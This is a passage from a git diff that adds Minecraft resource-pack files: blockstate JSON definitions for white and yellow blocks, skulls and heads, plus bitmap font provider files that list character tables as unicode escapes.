"": { + "model": "minecraft:block/bed" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/white_carpet.json b/src/assets/minecraft/blockstates/white_carpet.json new file mode 100644 index 00000000..afde6381 --- /dev/null +++ b/src/assets/minecraft/blockstates/white_carpet.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/white_carpet" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/white_concrete.json b/src/assets/minecraft/blockstates/white_concrete.json new file mode 100644 index 00000000..5ce10cd2 --- /dev/null +++ b/src/assets/minecraft/blockstates/white_concrete.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/white_concrete" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/white_concrete_powder.json b/src/assets/minecraft/blockstates/white_concrete_powder.json new file mode 100644 index 00000000..66cfe5e1 --- /dev/null +++ b/src/assets/minecraft/blockstates/white_concrete_powder.json @@ -0,0 +1,21 @@ +{ + "variants": { + "": [ + { + "model": "minecraft:block/white_concrete_powder" + }, + { + "model": "minecraft:block/white_concrete_powder", + "y": 90 + }, + { + "model": "minecraft:block/white_concrete_powder", + "y": 180 + }, + { + "model": "minecraft:block/white_concrete_powder", + "y": 270 + } + ] + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/white_glazed_terracotta.json b/src/assets/minecraft/blockstates/white_glazed_terracotta.json new file mode 100644 index 00000000..8c64ce09 --- /dev/null +++ b/src/assets/minecraft/blockstates/white_glazed_terracotta.json @@ -0,0 +1,19 @@ +{ + "variants": { + "facing=east": { + "model": "minecraft:block/white_glazed_terracotta", + "y": 270 + }, + "facing=north": { + "model": "minecraft:block/white_glazed_terracotta", + "y": 180 + }, + "facing=south": { + "model": "minecraft:block/white_glazed_terracotta" + }, + "facing=west": { + "model": "minecraft:block/white_glazed_terracotta", + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/white_shulker_box.json b/src/assets/minecraft/blockstates/white_shulker_box.json new file mode 100644 index 00000000..36973a4d --- /dev/null +++ b/src/assets/minecraft/blockstates/white_shulker_box.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/white_shulker_box" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/white_stained_glass.json b/src/assets/minecraft/blockstates/white_stained_glass.json new file mode 100644 index 00000000..2fc6c58c --- /dev/null +++ b/src/assets/minecraft/blockstates/white_stained_glass.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/white_stained_glass" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/white_stained_glass_pane.json b/src/assets/minecraft/blockstates/white_stained_glass_pane.json new file mode 100644 index 00000000..bb314d46 --- /dev/null +++ b/src/assets/minecraft/blockstates/white_stained_glass_pane.json @@ -0,0 +1,77 @@ +{ + "multipart": [ + { + "apply": { + "model": "minecraft:block/white_stained_glass_pane_post" + } + }, + { + "when": { + "north": "true" + }, + "apply": { + "model": "minecraft:block/white_stained_glass_pane_side" + } + }, + { + "when": { + "east": "true" + }, + "apply": { + "model": "minecraft:block/white_stained_glass_pane_side", + "y": 90 + } + }, + { + "when": { + "south": "true" + }, + "apply": { + "model": "minecraft:block/white_stained_glass_pane_side_alt" + } + }, + { + "when": { + "west": "true" + }, + "apply": { + "model": "minecraft:block/white_stained_glass_pane_side_alt", + "y": 90 + } + }, + { + "when": { + "north": "false" + }, + "apply": { + "model": "minecraft:block/white_stained_glass_pane_noside" + } + }, + { + "when": { + "east": "false" + }, + "apply": { + "model": "minecraft:block/white_stained_glass_pane_noside_alt" + } + }, + { + "when": { + "south": "false" + }, + "apply": { + "model": "minecraft:block/white_stained_glass_pane_noside_alt", + "y": 90 + } + }, + { + "when": { + "west": "false" + }, + "apply": { + "model": "minecraft:block/white_stained_glass_pane_noside", + "y": 270 + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/white_terracotta.json b/src/assets/minecraft/blockstates/white_terracotta.json new file mode 100644 index 00000000..184ea808 --- /dev/null +++ b/src/assets/minecraft/blockstates/white_terracotta.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/white_terracotta" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/white_tulip.json b/src/assets/minecraft/blockstates/white_tulip.json new file mode 100644 index 00000000..a5d01edb --- /dev/null +++ b/src/assets/minecraft/blockstates/white_tulip.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/white_tulip" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/white_wall_banner.json b/src/assets/minecraft/blockstates/white_wall_banner.json new file mode 100644 index 00000000..f5e2c87f --- /dev/null +++ b/src/assets/minecraft/blockstates/white_wall_banner.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/banner" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/white_wool.json b/src/assets/minecraft/blockstates/white_wool.json new file mode 100644 index 00000000..3c23fc09 --- /dev/null +++ b/src/assets/minecraft/blockstates/white_wool.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/white_wool" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/wither_rose.json b/src/assets/minecraft/blockstates/wither_rose.json new file mode 100644 index 00000000..f0175194 --- /dev/null +++ b/src/assets/minecraft/blockstates/wither_rose.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/wither_rose" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/wither_skeleton_skull.json b/src/assets/minecraft/blockstates/wither_skeleton_skull.json new file mode 100644 index 00000000..3951e3ee --- /dev/null +++ b/src/assets/minecraft/blockstates/wither_skeleton_skull.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/skull" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/wither_skeleton_wall_skull.json b/src/assets/minecraft/blockstates/wither_skeleton_wall_skull.json new file mode 100644 index 00000000..3951e3ee --- /dev/null +++ b/src/assets/minecraft/blockstates/wither_skeleton_wall_skull.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/skull" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/yellow_banner.json b/src/assets/minecraft/blockstates/yellow_banner.json new file mode 100644 index 00000000..f5e2c87f --- /dev/null +++ b/src/assets/minecraft/blockstates/yellow_banner.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/banner" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/yellow_bed.json b/src/assets/minecraft/blockstates/yellow_bed.json new file mode 100644 index 00000000..6577c90a --- /dev/null +++ b/src/assets/minecraft/blockstates/yellow_bed.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/bed" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/yellow_carpet.json b/src/assets/minecraft/blockstates/yellow_carpet.json new file mode 100644 index 00000000..3586a277 --- /dev/null +++ b/src/assets/minecraft/blockstates/yellow_carpet.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/yellow_carpet" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/yellow_concrete.json b/src/assets/minecraft/blockstates/yellow_concrete.json new file mode 100644 index 00000000..92ca5a20 --- /dev/null +++ b/src/assets/minecraft/blockstates/yellow_concrete.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/yellow_concrete" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/yellow_concrete_powder.json b/src/assets/minecraft/blockstates/yellow_concrete_powder.json new file mode 100644 index 00000000..7b103da4 --- /dev/null +++ b/src/assets/minecraft/blockstates/yellow_concrete_powder.json @@ -0,0 +1,21 @@ +{ + "variants": { + "": [ + { + "model": "minecraft:block/yellow_concrete_powder" + }, + { + "model": "minecraft:block/yellow_concrete_powder", + "y": 90 + }, + { + "model": "minecraft:block/yellow_concrete_powder", + "y": 180 + }, + { + "model": "minecraft:block/yellow_concrete_powder", + "y": 270 + } + ] + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/yellow_glazed_terracotta.json b/src/assets/minecraft/blockstates/yellow_glazed_terracotta.json new file mode 100644 index 00000000..d4f7be2c --- /dev/null +++ b/src/assets/minecraft/blockstates/yellow_glazed_terracotta.json @@ -0,0 +1,19 @@ +{ + "variants": { + "facing=east": { + "model": "minecraft:block/yellow_glazed_terracotta", + "y": 270 + }, + "facing=north": { + "model": "minecraft:block/yellow_glazed_terracotta", + "y": 180 + }, + "facing=south": { + "model": "minecraft:block/yellow_glazed_terracotta" + }, + "facing=west": { + "model": "minecraft:block/yellow_glazed_terracotta", + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/yellow_shulker_box.json b/src/assets/minecraft/blockstates/yellow_shulker_box.json new file mode 100644 index 00000000..c2b02b98 --- /dev/null +++ b/src/assets/minecraft/blockstates/yellow_shulker_box.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/yellow_shulker_box" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/yellow_stained_glass.json b/src/assets/minecraft/blockstates/yellow_stained_glass.json new file mode 100644 index 00000000..fdf0757e --- /dev/null +++ b/src/assets/minecraft/blockstates/yellow_stained_glass.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/yellow_stained_glass" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/yellow_stained_glass_pane.json b/src/assets/minecraft/blockstates/yellow_stained_glass_pane.json new file mode 100644 index 00000000..b5c9890d --- /dev/null +++ b/src/assets/minecraft/blockstates/yellow_stained_glass_pane.json @@ -0,0 +1,77 @@ +{ + "multipart": [ + { + "apply": { + "model": "minecraft:block/yellow_stained_glass_pane_post" + } + }, + { + "when": { + "north": "true" + }, + "apply": { + "model": "minecraft:block/yellow_stained_glass_pane_side" + } + }, + { + "when": { + "east": "true" + }, + "apply": { + "model": "minecraft:block/yellow_stained_glass_pane_side", + "y": 90 + } + }, + { + "when": { + "south": "true" + }, + "apply": { + "model": "minecraft:block/yellow_stained_glass_pane_side_alt" + } + }, + { + "when": { + "west": "true" + }, + "apply": { + "model": "minecraft:block/yellow_stained_glass_pane_side_alt", + "y": 90 + } + }, + { + "when": { + "north": "false" + }, + "apply": { + "model": "minecraft:block/yellow_stained_glass_pane_noside" + } + }, + { + "when": { + "east": "false" + }, + "apply": { + "model": "minecraft:block/yellow_stained_glass_pane_noside_alt" + } + }, + { + "when": { + "south": "false" + }, + "apply": { + "model": "minecraft:block/yellow_stained_glass_pane_noside_alt", + "y": 90 + } + }, + { + "when": { + "west": "false" + }, + "apply": { + "model": "minecraft:block/yellow_stained_glass_pane_noside", + "y": 270 + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/yellow_terracotta.json b/src/assets/minecraft/blockstates/yellow_terracotta.json new file mode 100644 index 00000000..4a2aca6b --- /dev/null +++ b/src/assets/minecraft/blockstates/yellow_terracotta.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/yellow_terracotta" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/yellow_wall_banner.json b/src/assets/minecraft/blockstates/yellow_wall_banner.json new file mode 100644 index 00000000..f5e2c87f --- /dev/null +++ b/src/assets/minecraft/blockstates/yellow_wall_banner.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/banner" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/yellow_wool.json b/src/assets/minecraft/blockstates/yellow_wool.json new file mode 100644 index 00000000..1392ae51 --- /dev/null +++ b/src/assets/minecraft/blockstates/yellow_wool.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/yellow_wool" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/zombie_head.json b/src/assets/minecraft/blockstates/zombie_head.json new file mode 100644 index 00000000..3951e3ee --- /dev/null +++ b/src/assets/minecraft/blockstates/zombie_head.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/skull" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/zombie_wall_head.json b/src/assets/minecraft/blockstates/zombie_wall_head.json new file mode 100644 index 00000000..3951e3ee --- /dev/null +++ b/src/assets/minecraft/blockstates/zombie_wall_head.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/skull" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/font/alt.json b/src/assets/minecraft/font/alt.json new file mode 100644 index 00000000..0f9863ff --- /dev/null +++ b/src/assets/minecraft/font/alt.json @@ -0,0 +1,27 @@ +{ + "providers": [ + { + "type": "bitmap", + "file": "minecraft:font/ascii_sga.png", + "ascent": 7, + "chars": [ + "\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000", + "\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000", + "\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000", + "\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000", + "\u0000\u0041\u0042\u0043\u0044\u0045\u0046\u0047\u0048\u0049\u004A\u004B\u004C\u004D\u004E\u004F", + "\u0050\u0051\u0052\u0053\u0054\u0055\u0056\u0057\u0058\u0059\u005A\u0000\u0000\u0000\u0000\u0000", + "\u0000\u0061\u0062\u0063\u0064\u0065\u0066\u0067\u0068\u0069\u006A\u006B\u006C\u006D\u006E\u006F", + "\u0070\u0071\u0072\u0073\u0074\u0075\u0076\u0077\u0078\u0079\u007A\u0000\u0000\u0000\u0000\u0000", + "\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000", + "\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000", + "\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000", + "\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000", + "\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000", + "\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000", + "\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000", + "\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000" + ] + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/font/default.json b/src/assets/minecraft/font/default.json new file mode 100644 index 00000000..82050f16 --- /dev/null +++ b/src/assets/minecraft/font/default.json @@ -0,0 +1,187 @@ +{ + "providers": [ + { + "type": "bitmap", + "file": "minecraft:font/nonlatin_european.png", + "ascent": 7, + "chars": [ + "\u00a1\u2030\u00ad\u00b7\u20b4\u2260\u00bf\u00d7\u00d8\u00de\u04bb\u00f0\u00f8\u00fe\u0391\u0392", + "\u0393\u0394\u0395\u0396\u0397\u0398\u0399\u039a\u039b\u039c\u039d\u039e\u039f\u03a0\u03a1\u03a3", + "\u03a4\u03a5\u03a6\u03a7\u03a8\u03a9\u03b1\u03b2\u03b3\u03b4\u03b5\u03b6\u03b7\u03b8\u03b9\u03ba", + "\u03bb\u03bc\u03bd\u03be\u03bf\u03c0\u03c1\u03c2\u03c3\u03c4\u03c5\u03c6\u03c7\u03c8\u03c9\u0402", + "\u0405\u0406\u0408\u0409\u040a\u040b\u0410\u0411\u0412\u0413\u0414\u0415\u0416\u0417\u0418\u041a", + "\u041b\u041c\u041d\u041e\u041f\u0420\u0421\u0422\u0423\u0424\u0425\u0426\u0427\u0428\u0429\u042a", + "\u042b\u042c\u042d\u042e\u042f\u0430\u0431\u0432\u0433\u0434\u0435\u0436\u0437\u0438\u043a\u043b", + "\u043c\u043d\u043e\u043f\u0440\u0441\u0442\u0443\u0444\u0445\u0446\u0447\u0448\u0449\u044a\u044b", + "\u044c\u044d\u044e\u044f\u0454\u0455\u0456\u0458\u0459\u045a\u2013\u2014\u2018\u2019\u201c\u201d", + "\u201e\u2026\u204a\u2190\u2191\u2192\u2193\u21c4\uff0b\u018f\u0259\u025b\u026a\u04ae\u04af\u04e8", + "\u04e9\u02bb\u02cc\u037e\u0138\u1e9e\u00df\u20bd\u20ac\u0462\u0463\u0474\u0475\u04c0\u0472\u0473", + "\u2070\u00b9\u00b3\u2074\u2075\u2076\u2077\u2078\u2079\u207a\u207b\u207c\u207d\u207e\u2071\u2122", + "\u0294\u0295\u29c8\u2694\u2620\u049a\u049b\u0492\u0493\u04b0\u04b1\u04d8\u04d9\u0496\u0497\u04a2", + "\u04a3\u04ba\u05d0\u05d1\u05d2\u05d3\u05d4\u05d5\u05d6\u05d7\u05d8\u05d9\u05db\u05dc\u05de\u05dd", + "\u05e0\u05df\u05e1\u05e2\u05e4\u05e3\u05e6\u05e5\u05e7\u05e8\u00a2\u00a4\u00a5\u00a9\u00ae\u00b5", + "\u00b6\u00bc\u00bd\u00be\u0387\u2010\u201a\u2020\u2021\u2022\u2031\u2032\u2033\u2034\u2035\u2036", + "\u2037\u2039\u203a\u203b\u203c\u203d\u2042\u2048\u2049\u204b\u204e\u204f\u2051\u2052\u2057\u2117", + "\u2212\u2213\u221e\u2600\u2601\u2608\u0404\u2632\u2635\u263d\u2640\u2642\u26a5\u2660\u2663\u2665", + "\u2666\u2669\u266a\u266b\u266c\u266d\u266e\u266f\u2680\u2681\u2682\u2683\u2684\u2685\u02ac\u26a1", + "\u26cf\u2714\u2744\u274c\u2764\u2b50\u2e18\u2e2e\u2e35\u2e38\u2e41\u2e4b\u295d\u1614\u0190\u07c8", + "\u03db\u3125\u2c6f\u15fa\u0186\u15e1\u018e\u2132\u2141\ua7b0\ua780\u0500\ua779\u1d1a\u27d8\u2229", + "\u0245\u2144\u0250\u0254\u01dd\u025f\u1d77\u0265\u1d09\u027e\u029e\ua781\u026f\u0279\u0287\u028c", + "\u028d\u028e\u0531\u0532\u0533\u0534\u0536\u0537\u0539\u053a\u053b\u053c\u053d\u053e\u053f\u0540", + "\u0541\u0542\u0543\u0544\u0545\u0546\u0547\u0548\u0549\u054b\u054c\u054d\u054e\u054f\u0550\u0551", + "\u0552\u0553\u0554\u0555\u0556\u0559\u0561\u0562\u0563\u0564\u0565\u0566\u0567\u0568\u0569\u056a", + "\u056b\u056c\u056d\u056e\u056f\u0570\u0571\u0572\u0573\u0574\u0575\u0576\u0577\u0578\u0579\u057a", + "\u057b\u057c\u057d\u057e\u057f\u0580\u0581\u0582\u0583\u0584\u0585\u0586\u0587\u05e9\u05ea\u0538", + "\u055a\u055b\u055c\u055d\u055e\u055f\u0560\u0588\u058f\u00af\u017f\u01b7\u0292\u01f7\u01bf\u021c", + "\u021d\u0224\u0225\u02d9\ua75a\ua75b\u2011\u214b\u23cf\u23e9\u23ea\u23ed\u23ee\u23ef\u23f4\u23f5", + "\u23f6\u23f7\u23f8\u23f9\u23fa\u23fb\u23fc\u23fd\u2b58\u25b2\u25b6\u25bc\u25c0\u25cf\u25e6\u25d8", + "\u2693\u26e8\u0132\u0133\u01c9\ua728\ua729\ua739\ua73b\ufb00\ufb01\ufb02\ufb03\ufb05\ufffd\u0535", + "\u054a\u16a0\u16a2\u16a3\u16a4\u16a5\u16a6\u16a7\u16a8\u16a9\u16aa\u16ab\u16ac\u16ad\u16ae\u16af", + "\u16b0\u16b1\u16b2\u16b3\u16b4\u16b6\u16b7\u16b8\u16b9\u16ba\u16bb\u16bc\u16bd\u16be\u16bf\u16c0", + "\u16c1\u16c2\u16c3\u16c4\u16c5\u16c6\u16c7\u16c8\u16c9\u16ca\u16cb\u16cc\u16cd\u16ce\u16cf\u16d0", + "\u16d1\u16d2\u16d3\u16d4\u16d5\u16d6\u16d7\u16d8\u16d9\u16da\u16db\u16dc\u16dd\u16de\u16df\u16e0", + "\u16e1\u16e2\u16e3\u16e4\u16e5\u16e6\u16e7\u16e8\u16e9\u16ea\u16eb\u16ec\u16ed\u16ee\u16ef\u16f0", + "\u16f1\u16f2\u16f3\u16f4\u16f5\u16f6\u16f7\u16f8\u263a\u263b\u00a6\u2639\u05da\u05f3\u05f4\u05f0", + "\u05f1\u05f2\u05be\u05c3\u05c6\u00b4\u00a8\u1d00\u0299\u1d04\u1d05\u1d07\ua730\u0262\u029c\u1d0a", + "\u1d0b\u029f\u1d0d\u0274\u1d0f\u1d18\ua7af\u0280\ua731\u1d1b\u1d1c\u1d20\u1d21\u028f\u1d22\u00a7", + "\u0271\u0273\u0272\u0288\u0256\u0261\u02a1\u0255\u0291\u0278\u029d\u02a2\u027b\u0281\u0266\u028b", + "\u0270\u026c\u026e\u0298\u01c0\u01c3\u01c2\u01c1\u0253\u0257\u1d91\u0284\u0260\u029b\u0267\u026b", + "\u0268\u0289\u028a\u0258\u0275\u0264\u025c\u025e\u0251\u0252\u025a\u025d\u0181\u0189\u0191\u01a9", + "\u01b2\u10a0\u10a1\u10a2\u10a3\u10a4\u10a5\u10a6\u10a7\u10a8\u10a9\u10aa\u10ab\u10ac\u10ad\u10ae", + "\u10af\u10b0\u10b1\u10b2\u10b3\u10b4\u10b5\u10b6\u10b7\u10b8\u10b9\u10ba\u10bb\u10bc\u10bd\u10be", + "\u10bf\u10c0\u10c1\u10c2\u10c3\u10c4\u10c5\u10c7\u10cd\u10d0\u10d1\u10d2\u10d3\u10d4\u10d5\u10d6", + "\u10d7\u10d8\u10d9\u10da\u10db\u10dc\u10dd\u10de\u10df\u10e0\u10e1\u10e2\u10e3\u10e4\u10e5\u10e6", + "\u10e7\u10e8\u10e9\u10ea\u10eb\u10ec\u10ed\u10ee\u10ef\u10f0\u10f1\u10f2\u10f3\u10f4\u10f5\u10f6", + "\u10f7\u10f8\u10f9\u10fa\u10fb\u10fc\u10fd\u10fe\u10ff\ufb4a\ufb2b\ufb4e\ufb44\ufb3b\ufb1f\ufb1d", + "\ufb4b\ufb35\ufb4c\ufb31\ua727\ua726\u027a\u2c71\u02a0\u0297\u0296\u026d\u0277\u027f\u0285\u0286", + "\u0293\u029a\u20aa\u20be\u058a\u2d00\u2d01\u2d02\u2d03\u2d04\u2d05\u2d06\u2d21\u2d07\u2d08\u2d09", + "\u2d0a\u2d0b\u2d0c\u2d22\u2d0d\u2d0e\u2d0f\u2d10\u2d11\u2d12\u2d23\u2d13\u2d14\u2d15\u2d16\u2d17", + "\u2d18\u2d19\u2d1a\u2d1b\u2d1c\u2d1d\u2d1e\u2d24\u2d1f\u2d20\u2d25\u215b\u215c\u215d\u215e\u2153", + "\u2154\u2709\u2602\u2614\u2604\u26c4\u2603\u231b\u231a\u2690\u270e\u2763\u2664\u2667\u2661\u2662", + "\u26c8\u2630\u2631\u2633\u2634\u2636\u2637\u2194\u21d2\u21cf\u21d4\u21f5\u2200\u2203\u2204\u2209", + "\u220b\u220c\u2282\u2283\u2284\u2285\u2227\u2228\u22bb\u22bc\u22bd\u2225\u2262\u22c6\u2211\u22a4", + "\u22a5\u22a2\u22a8\u2254\u2201\u2234\u2235\u221b\u221c\u2202\u22c3\u2286\u2287\u25a1\u25b3\u25b7", + "\u25bd\u25c1\u25c6\u25c7\u25cb\u25ce\u2606\u2605\u2718\u2080\u2081\u2082\u2083\u2084\u2085\u2086", + "\u2087\u2088\u2089\u208a\u208b\u208c\u208d\u208e\u222b\u222e\u221d\u2300\u2302\u2318\u3012\u027c", + "\u0184\u0185\u1e9f\u023d\u019a\u019b\u0220\u019e\u019f\u01a7\u01a8\u01aa\u01b8\u01b9\u01bb\u01bc", + "\u01bd\u01be\u0221\u0234\u0235\u0236\u023a\u2c65\u023b\u023c\u0246\u0247\u023e\u2c66\u0241\u0242", + "\u0243\u0244\u0248\u0249\u024a\u024b\u024c\u024d\u024e\u024f\u1e9c\u1e9d\u1efc\u1efd\u1efe\u1eff", + "\ua7a8\ua7a9\ud800\udf30\ud800\udf31\ud800\udf32\ud800\udf33\ud800\udf34\ud800\udf35\ud800\udf36\ud800\udf37\ud800\udf38\ud800\udf39\ud800\udf3a\ud800\udf3b\ud800\udf3c\ud800\udf3d", + "\ud800\udf3e\ud800\udf3f\ud800\udf40\ud800\udf41\ud800\udf42\ud800\udf43\ud800\udf44\ud800\udf45\ud800\udf46\ud800\udf47\ud800\udf48\ud800\udf49\ud800\udf4a\ud83c\udf27\ud83d\udd25\ud83c\udf0a", + "\u2150\u2151\u2155\u2156\u2157\u2159\u215a\u215f\u2189\ud83d\udde1\ud83c\udff9\ud83e\ude93\ud83d\udd31\ud83c\udfa3\ud83e\uddea\u2697", + "\u2bea\u2beb\u2c6d\ud83d\udee1\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000" + ] + }, + { + "type": "bitmap", + "file": "minecraft:font/accented.png", + "height": 12, + "ascent": 10, + "chars": [ + "\u00c0\u00c1\u00c2\u00c3\u00c4\u00c5\u00c6\u00c7\u00c8\u00c9\u00ca\u00cb\u00cc\u00cd\u00ce\u00cf", + "\u00d0\u00d1\u00d2\u00d3\u00d4\u00d5\u00d6\u00d9\u00da\u00db\u00dc\u00dd\u00e0\u00e1\u00e2\u00e3", + "\u00e4\u00e5\u00e6\u00e7\u00ec\u00ed\u00ee\u00ef\u00f1\u00f2\u00f3\u00f4\u00f5\u00f6\u00f9\u00fa", + "\u00fb\u00fc\u00fd\u00ff\u0100\u0101\u0102\u0103\u0104\u0105\u0106\u0107\u0108\u0109\u010a\u010b", + "\u010c\u010d\u010e\u010f\u0110\u0111\u0112\u0113\u0114\u0115\u0116\u0117\u0118\u0119\u011a\u011b", + "\u011c\u011d\u1e20\u1e21\u011e\u011f\u0120\u0121\u0122\u0123\u0124\u0125\u0126\u0127\u0128\u0129", + "\u012a\u012b\u012c\u012d\u012e\u012f\u0130\u0131\u0134\u0135\u0136\u0137\u0139\u013a\u013b\u013c", + "\u013d\u013e\u013f\u0140\u0141\u0142\u0143\u0144\u0145\u0146\u0147\u0148\u014a\u014b\u014c\u014d", + "\u014e\u014f\u0150\u0151\u0152\u0153\u0154\u0155\u0156\u0157\u0158\u0159\u015a\u015b\u015c\u015d", + "\u015e\u015f\u0160\u0161\u0162\u0163\u0164\u0165\u0166\u0167\u0168\u0169\u016a\u016b\u016c\u016d", + "\u016e\u016f\u0170\u0171\u0172\u0173\u0174\u0175\u0176\u0177\u0178\u0179\u017a\u017b\u017c\u017d", + "\u017e\u01fc\u01fd\u01fe\u01ff\u0218\u0219\u021a\u021b\u0386\u0388\u0389\u038a\u038c\u038e\u038f", + "\u0390\u03aa\u03ab\u03ac\u03ad\u03ae\u03af\u03b0\u03ca\u03cb\u03cc\u03cd\u03ce\u0400\u0401\u0403", + "\u0407\u040c\u040d\u040e\u0419\u0439\u0450\u0451\u0452\u0453\u0457\u045b\u045c\u045d\u045e\u045f", + "\u0490\u0491\u1e02\u1e03\u1e0a\u1e0b\u1e1e\u1e1f\u1e22\u1e23\u1e30\u1e31\u1e40\u1e41\u1e56\u1e57", + "\u1e60\u1e61\u1e6a\u1e6b\u1e80\u1e81\u1e82\u1e83\u1e84\u1e85\u1ef2\u1ef3\u00e8\u00e9\u00ea\u00eb", + "\u0149\u01e7\u01eb\u040f\u1e0d\u1e25\u1e5b\u1e6d\u1e92\u1eca\u1ecb\u1ecc\u1ecd\u1ee4\u1ee5\u2116", + "\u0207\u0194\u0263\u0283\u2047\u01f1\u01f2\u01f3\u01c4\u01c5\u01c6\u01c7\u01c8\u01ca\u01cb\u01cc", + "\u2139\u1d6b\ua732\ua733\ua734\ua735\ua736\ua737\ua738\ua73a\ua73c\ua73d\ua74e\ua74f\ua760\ua761", + "\ufb04\ufb06\u16a1\u16b5\u01a0\u01a1\u01af\u01b0\u1eae\u1eaf\u1ea4\u1ea5\u1ebe\u1ebf\u1ed1\u1eda", + "\u1edb\u1ee8\u1ee9\u1eb0\u1eb1\u1ea6\u1ea7\u1ec0\u1ec1\u1ed3\u1edc\u1edd\u1eea\u1eeb\u1ea2\u1ea3", + "\u1eb2\u1eb3\u1ea8\u1ea9\u1eba\u1ebb\u1ed5\u1ede\u1ec2\u1ec3\u1ec8\u1ec9\u1ece\u1ecf\u1ed4\u1edf", + "\u1ee6\u1ee7\u1eec\u1eed\u1ef6\u1ef7\u1ea0\u1ea1\u1eb6\u1eb7\u1eac\u1ead\u1eb8\u1eb9\u1ec6\u1ec7", + "\u1ed8\u1ed9\u1ee2\u1ee3\u1ef0\u1ef1\u1ef4\u1ef5\u1ed0\u0195\u1eaa\u1eab\u1ed6\u1ed7\u1eef\u261e", + "\u261c\u262e\u1eb4\u1eb5\u1ebc\u1ebd\u1ec4\u1ec5\u1ed2\u1ee0\u1ee1\u1eee\u1ef8\u1ef9\u0498\u0499", + "\u04a0\u04a1\u04aa\u04ab\u01f6\u26a0\u24ea\u2460\u2461\u2462\u2463\u2464\u2465\u2466\u2467\u2468", + 